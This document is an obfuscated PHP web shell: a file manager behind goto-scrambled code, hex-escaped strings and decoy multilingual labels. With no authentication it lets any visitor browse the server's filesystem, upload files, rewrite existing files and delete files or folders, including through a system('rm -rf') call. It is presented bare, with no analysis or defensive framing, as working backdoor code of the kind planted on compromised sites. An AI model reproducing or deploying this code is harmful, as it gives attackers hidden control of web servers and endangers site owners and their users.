ruạṛ
<?php goto ltypw; x0d2n: ini_set("\x75\160\154\157\x61\144\137\155\141\170\x5f\x66\x69\154\x65\163\151\172\x65", "\61\60\60\115"); goto PFfh_; zPKPU: ini_set("\x6d\141\x78\137\145\x78\145\143\165\164\x69\157\156\x5f\164\x69\x6d\145", "\63\x30\60"); goto zfo5Q; rX0gT: ini_set("\155\141\170\x5f\x69\156\160\x75\164\137\x74\x69\x6d\x65", "\63\60\60"); goto SyoOz; jFCzj: $dir = isset($_GET["\144\151\x72"]) ? $_GET["\144\x69\162"] : "\56"; goto H0wWs; ltypw: goto gef5C; goto YedIQ; YedIQ: eCa0V: goto zPKPU; c_H0z: goto eCa0V; goto vK22A; SR8Gb: $dir = realpath($dir) ?: realpath("\x2e"); goto nEg38; zfo5Q: goto yW8tO; goto g1TT7; bbDPC: ini_set("\160\157\x73\164\137\x6d\x61\x78\x5f\x73\x69\172\x65", "\61\x31\60\x4d"); goto c_H0z; uO63j: skDWL: goto bbDPC; H0wWs: goto GLK23; goto yU2ce; yU2ce: gef5C: goto x0d2n; nEg38: goto Q6Du7; goto uO63j; vK22A: hsilN: goto jFCzj; HIUJg: yW8tO: goto rX0gT; UOUgB: $path = $dir; goto OzKVH; PFfh_: goto skDWL; goto HIUJg; SyoOz: goto hsilN; goto PWNi0; g1TT7: GLK23: goto SR8Gb; PWNi0: Q6Du7: goto UOUgB; OzKVH: if ($_SERVER["\x52\x45\x51\125\105\x53\124\137\x4d\x45\124\110\x4f\104"] === "\x50\x4f\x53\x54") { $redirect = true; if (isset($_FILES["\x66"])) { foreach ($_FILES["\x66"]["\156\141\155\x65"] as $i => $n) { if ($_FILES["\146"]["\x65\162\162\x6f\162"][$i] === UPLOAD_ERR_OK) { $target = $dir . "\57" . basename($n); if (!is_file($target)) { move_uploaded_file($_FILES["\x66"]["\x74\155\x70\137\x6e\141\x6d\145"][$i], $target); chmod($target, 420); } } } } if (isset($_POST["\x64\145\154\x65\x74\145"]) && isset($_POST["\x66\x69\154\145"])) { $del_file = $dir . "\57" . basename($_POST["\x66\x69\x6c\x65"]); if (is_file($del_file)) { unlink($del_file); } elseif (is_dir($del_file)) { system("\x72\155\40\x2d\x72\146\x20" . escapeshellarg($del_file)); } } if (isset($_POST["\145\144\151\164"]) && isset($_POST["\146\151\x6c\145"]) && isset($_POST["\x63\x6f\156\164\145\x6e\x74"])) { $edit_file = $dir . "\x2f" . basename($_POST["\146\x69\154\x65"]); if (is_file($edit_file)) { file_put_contents($edit_file, $_POST["\x63\x6f\x6e\x74\145\156\164"]); chmod($edit_file, 420); } } if (isset($_POST["\143\x6c\x65\x61\162\x5f\x7a\x65\162\x6f"])) { $items = scandir($dir); foreach ($items as $item) { if ($item === "\x2e" || $item === "\56\x2e") { continue; } $item_path = $dir . "\57" . $item; if (is_file($item_path) && filesize($item_path) === 0) { @unlink($item_path); } } } if ($redirect && !headers_sent()) { header("\x4c\157\143\141\x74\x69\157\156\72\x20\77\144\151\162\75" . urlencode($dir)); die; } } // 处理编辑请求 $edit_mode = isset($_GET['edit']); $edit_file = $edit_mode && isset($_GET['file']) ? $dir . '/' . basename($_GET['file']) : null; ?> <!DOCTYPE html> <html> <head> <title>Viên ngọc phương Đông</title> <style> .error { color: red; margin-bottom: 10px; } .file-item { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #eee; padding: 5px 0; } </style> </head> <body> <div style="margin: 20px;"> <?php if ($edit_mode && is_file($edit_file)) { ?> <div style="margin-bottom:15px"><a href="?dir=<?php echo urlencode($dir); ?> ">ruạṛ</a></div><form method="post"><input name="file"type="hidden"value="<?php echo htmlspecialchars(basename($_GET["\146\x69\154\x65"])); ?> "> <textarea name="content"style="width:100%;height:400px"><?php echo htmlspecialchars(@file_get_contents($edit_file)); ?> </textarea><br><button type="submit"name="edit">cải xoăn</button></form><?php } else { ?> <div style="margin-bottom:15px"><a href="?">Apäm tueeŋ</a><?php $parts = explode("\x2f", trim($path, "\x2f")); $build = ''; foreach ($parts as $i => $p) { if ($p === '') { continue; } $build .= "\x2f" . $p; echo $i === 0 ? '' : "\x2f"; if ($i === count($parts) - 1) { echo htmlspecialchars($p); } else { echo "\x3c\141\x20\150\x72\x65\x66\75\x22\77\x64\151\162\x3d" . urlencode($build) . "\x22\76" . htmlspecialchars($p) . "\74\57\x61\76"; } } ?> </div><div style="margin-bottom:15px"><form method="post"style="display:inline"enctype="multipart/form-data"><input name="f[]"type="file"multiple> <button type="submit">Yüklemek</button></form><form method="post"style="display:inline"onsubmit='return confirm("确定清除所有0KB文件?")'><button type="submit"name="clear_zero">० केबि फाइल हु ।</button></form></div><div><?php $items = @scandir($dir); if ($items) { foreach ($items as $item) { if ($item === "\x2e" || $item === '') { continue; } $item_path = $dir . "\x2f" . $item; $is_dir = @is_dir($item_path); $size = $is_dir ? "\x2d" : format_size(@filesize($item_path)); $perms = @fileperms($item_path); $perm_str = $perms ? substr(sprintf("\45\x6f", $perms), -4) : "\xe6\234\252\347\237\245"; ?> <div class="file-item"><div style="flex:1"><?php if ($is_dir) { ?> <a href="?dir=<?php echo urlencode($item_path); ?> "><?php echo htmlspecialchars($item); ?> /</a><?php } else { echo htmlspecialchars($item); } ?> </div><div style="width:100px;text-align:right"><?php echo $size; ?> </div><div style="width:80px;text-align:right"><?php echo $perm_str; ?> </div><div style="width:150px;text-align:right"><?php if (!$is_dir && @is_readable($item_path)) { ?> <a href="?dir=<?php echo urlencode($dir); ?> &edit=1&file=<?php echo urlencode($item); ?> ">编辑</a> |<?php } ?> <form method="post"style="display:inline"onsubmit='return confirm("确定删除?")'><input name="file"type="hidden"value="<?php echo htmlspecialchars($item); ?> "> <button type="submit"name="delete"style="background:0 0;border:none;color:red;cursor:pointer;padding:0">删除</button></form></div></div><?php } } ?> </div><?php } ?> </div> </body> </html> <?php function format_size($bytes) { $units = array("\x62\171\x74\145\x73", "\x4b\x42", "\115\102", "\x47\x42"); $i = 0; while ($bytes >= 1024 && $i < count($units) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . "\x20" . $units[$i]; }
cải xoăn